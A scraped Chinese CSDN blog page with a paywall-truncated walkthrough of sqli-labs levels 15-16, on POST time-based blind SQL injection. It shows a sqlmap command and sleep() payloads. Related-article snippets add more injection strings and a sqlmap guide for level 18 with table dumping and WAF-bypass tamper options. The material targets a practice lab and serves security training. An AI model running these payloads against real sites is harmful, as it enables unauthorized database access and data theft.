sqli-labs靶场15-16关（基于POST时间盲注）

最新推荐文章于 2025-03-16 23:12:37 发布

24team

最新推荐文章于 2025-03-16 23:12:37 发布

阅读量978

点赞数

分类专栏： sqli-labs靶场

本文链接：https://blog.csdn.net/qq_46527080/article/details/111087190

版权

第十五关

sqlmap方法

python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-15/?id=1" --data "uname=admin&passwd=1&submit=Submit" --current-db --threads 8 --technique T

基于时间的盲注
源码分析
闭合字符是单引号
在这里插入图片描述一、判断注入点

uname=admin' and sleep(4) #&passwd=&submit=Submit

因为是时间盲注，所以判断注入点要使用sleep函数
很明显感到了回显变慢了
在这里插入图片描述一、爆库

uname=admin' and if(ascii(substr

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

24team

关注关注

0
点赞
踩
3

收藏

觉得还不错? 一键收藏
4
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

sqli-labs靶场15-19过关小记

xtx4506的博客

04-17

2792

level-15 首先判断是否有sql注入攻击，先输入万能密码’ or 1=1# 试了试发现登录成功可以看到是存在sql注入的，输入单引号后不报错，推断可能是盲注，分析一下源码可以看到报错信息是被注释的，所以可以采用布尔型或时间型盲注，因为我个人比较喜欢使用时间型盲注，所以可以一步一步推断出数据库，表，字段然后一个一个爆字段就好啦，因为我这边已经知道库名，如果不知道的话可以使用ascii码一步一步缩小范围确定字符 payload:' and if(substr((select g

Sqli-labs靶场第11关详解[Sqli-labs-less-11]

m0_73615178的博客

02-24

1799

SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-

4 条评论您还未登录，请先登录后发表或查看评论

sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路

zyh1588的博客

11-11

1501

小白回顾sql靶场第15关

【sql靶场】第15、16关-post提交盲注保姆级教程

m0_75167824的博客

03-16

1015

个人建议使用BurpSuite，因为可以清楚看见自己的注入，如果出现错误比较好检查，也比较好修改，而在页面的输入框直接注入，第一由于输入框的大小限制，很影响注入语句的输入与观看，第二输入提交后注入语句会变成空，如果报错很难检查与修改错误。‌中，而非URL参数，URL中仅包含资源路径，这里就不需要再地址栏进行测试，但是我们可以在页面的账号密码输入里尝试，可不可以进行注入。使用BurpSuite，点击代理然后点击截断的截断请求，然后打开火狐浏览器，打开关卡页面，随便输入账号密码，点击提交。

sqli-labs靶场第十五关

gou1791241251的博客

12-27

1020

第十五关没什么特殊的，只是单引号闭合而已。

SQLI-labs-第十五关和第十六关

weixin_54055099的博客

05-06

1238

Sqlilab的第十五关和十六关，时间盲注

sqli-labs盲注脚本

06-24

sqli-labs盲注脚本 sqli-labs盲注脚本 sqli-labs盲注脚本

sqli-labs靶场练习笔记

11-09

### SQLi-Labs靶场练习笔记知识点概览 #### 一、SQL注入基本概念与原理 - **定义**：SQL注入是一种常见的应用层攻击方式，它利用编程中的漏洞，通过在应用程序的输入框中插入恶意SQL语句来控制后端数据库服务器。 -...

sqli-labs-master靶场

09-21

此外，sqli-labs-master靶场不仅仅局限于单一类型的SQL注入，它还包含了一系列不同的挑战，比如基于GET和POST请求的注入点、多层查询的注入、错误信息控制和条件注入等。这些挑战旨在提高用户对于SQL注入漏洞识别的...

Sqli-labs靶场第19关详解[Sqli-labs-less-19]自动化注入-SQLmap工具注入

m0_73615178的博客

03-03

886

所以先使用burp进行抓包，然后将数据包存入txt文件中打包用-r 选择目标txt文件。尝试加上注入语句（报错注入），测试是否会执行并返回报错语句爆出想要的信息。

sqli-labs靶场15-19关通关笔记中总结

weixin_45585955的博客

04-16

4000

第十五关本关属于时间注入，基于源码分析，闭合字符是单引号。本关没有错误提示，那么我们只能靠猜测进行注入。这里我直接从源代码中看到了 sql语句。那这里对 id 进行 ‘ id’ 的处理。本关我们利用延时注入进行。 uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit 正确的时候可以直接登录，不正确的时候这里会延时 5 秒。第十六关

sqli-lab 1-16通关随笔记

m0_52361291的博客

06-08

363

前段时间大概学了一遍内网，免杀正好来将web这块重新复习一遍由于是直接刷关所以只是让关卡报出注入点其余的都没搞。首先明确SQL注入产生的原理是传递结构化语言时影响了数据库的执行叫做SQL注入。这些关卡都是统一的get型注入而且都是通过联合查询的代码中通过mysql_query()和mysql_fetch_array()这两个函数先执行查询语句然后再将同一行的数据以数组形式输出，调用数据库列名称来呈现查询结果而mysql_error()这个函数的作用是输出mysql数据库报错的信息这也是做联合查询时的一个

sqli-lib靶场1-15关通关教程

m0_56109788的博客

04-25

1417

sqli-lib靶场1-15关通关教程

sqli-labs-master第15、16关

m_ing

05-13

2431

前言：在第九关我们已经了解过GET方式的盲注，我们今天一起探讨下POST方式的盲注。第15关 http://192.168.89.134/sqli-labs-master/Less-15/ 我们在尝试了，联合查询和报错注入方式后无果，我们初步判断为盲注我们看下源代码：猜想正确我们采用延迟盲注（时间注入主要用 if(表达式1，表达式2，表达式3) 函数与sleep() 函数配合使用。if函数原理是当表达式1为True时，返回值为表达式二，否则返回表达式三。） admin’ and if(lengt

SQL注入——sqli-labs靶场闯关(13~20)

m0re's blog

04-30

1598

本文目录前言：SQL注入必须要拿下，所以继续学习并在靶场实验。再次学习SQL注入知识，再补充一些基本知识。注入通过在URL中修改对应的id值，为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜扛来探测是否存在注入点。 ...

sqli-labs (less-15)

kukudeshuo的博客

03-09

453

sqli-labs (less-15) 进入15关，输入用户名和密码，登入后发现没有数据返回输入 uname=admin'&passwd=admin&submit=Submit #没有错误显示 uname=admin"&passwd=admin&submit=Submit #没有错误显示这里我们发现我们不管我们输入什么都是没有错误信息显示的，这里我们可以使用时间盲注的方法判断注入点 uname=admin' and sleep(5)#&passwd=admi

sql-labs靶场第十五关测试报告

ccc_9wy的博客

10-17

3235

sql-labs第十五关的测试报告；手工注入和sqlmap两种方法；靶场源代码分析；详细过程；布尔盲注。

sqli-labs第十五十六关

m0_73248913的博客

02-09

sqli-labs第十五十六关

sqli-labs靶场sqlmap注入18关

最新发布

04-03

<think>好的，我现在需要帮助用户解决SQLi-Labs靶场第18关使用sqlmap进行SQL注入的问题。首先，我得回顾一下用户提供的引用内容，特别是引用[5]，里面提到了第18关的解决方法。用户可能已经看过这个引用，但可能还需要更详细的步骤指导。首先，我需要确认第18关的具体情况。根据引用[5]，第18关是一个POST请求的注入点，涉及User-Agent头部的注入。用户需要使用sqlmap工具，并且需要先通过Burp Suite抓取数据包，保存为txt文件，然后在User-Agent字段中标记注入点。接着，使用sqlmap的-r参数指定数据包文件，并利用--current-db等参数获取数据库信息。接下来，我需要将这个过程分解成清晰的步骤，确保用户能够一步步跟随。可能需要包括安装Burp Suite、配置代理、抓取数据包、保存文件、运行sqlmap命令等步骤。同时，用户可能需要知道如何设置代理，比如在浏览器中配置Burp Suite的监听地址和端口，以及如何处理HTTPS流量，如果需要的话。另外，用户可能对sqlmap命令的参数不太熟悉，比如--tamper或--level等，需要解释这些参数的作用。例如，--level 2会增加测试的等级，覆盖更多的注入点。而--tamper可能在某些情况下需要，但根据引用[5]，第18关不需要tamper脚本，所以可能不需要用到这个参数。还要注意用户可能遇到的常见问题，比如数据包保存的格式是否正确，User-Agent是否正确地标记了星号*，以及如何验证注入是否成功。例如，用户可能需要检查sqlmap的输出，确认是否成功获取到数据库名或其他信息。另外，引用中提到第18关的闭合方式是单引号'，这可能意味着注入点是在User-Agent字段中使用单引号闭合的。因此，在构造payload时，sqlmap会自动处理这种闭合方式，用户不需要手动指定，但了解这一点有助于调试问题。最后，用户可能需要一些额外的提示，比如如何提升注入的成功率，或者如何处理可能的WAF（Web应用防火墙）拦截。例如，使用--delay参数来减缓请求速度，避免被检测到，或者使用代理来隐藏流量。总结来说，回答需要结构清晰，分步骤指导用户从抓包到运行sqlmap命令，解释关键参数，并提供注意事项和常见问题解决方法，确保用户能够顺利通过第18关。</think>### SQLi-Labs 第18关sqlmap注入解决方案根据引用[5]的描述，第18关属于HTTP头部User-Agent字段的POST请求注入，需通过以下步骤实现自动化注入： **步骤1：准备环境** 1. 安装Burp Suite并配置浏览器代理（默认监听127.0.0.1:8080） 2. 访问第18关页面`http://[靶机IP]/sqli-labs/Less-18/`，触发正常请求 **步骤2：抓取数据包** 1. 在Burp Suite的Proxy模块拦截HTTP请求 2. 在请求头中找到User-Agent字段，在值末尾添加`*`标记注入点 ```http User-Agent: Mozilla/5.0* # 添加*作为注入标识 ``` 3. 将完整请求包保存为`less18.txt` **步骤3：执行sqlmap命令** ```bash python sqlmap.py -r less18.txt --current-db --batch ``` - `-r`：指定包含HTTP请求的文件 - `--current-db`：获取当前数据库名 - `--batch`：自动选择默认选项 **步骤4：进阶利用** ```bash # 获取所有数据库 python sqlmap.py -r less18.txt --dbs --level=2 # 获取指定数据库表 python sqlmap.py -r less18.txt -D security --tables # 获取字段数据 python sqlmap.py -r less18.txt -D security -T users --dump ``` **关键参数说明**： - `--level=2`：增加检测强度（默认检测范围不包括HTTP头部） - `--risk=3`：启用高风险测试模式（需谨慎使用） - `--tamper`：本关不需要编码脚本，但复杂场景可配合`base64encode`等脚本[^3] **注意事项**： 1. 确保靶场环境配置正确，User-Agent字段存在注入漏洞 2. 若遇到过滤规则，可尝试`--tamper=space2comment`等绕过脚本 3. 数据包中的`*`必须紧接在User-Agent值之后，如：`User-Agent: payload*` 4. 推荐配合`--flush-session`参数避免缓存影响测试结果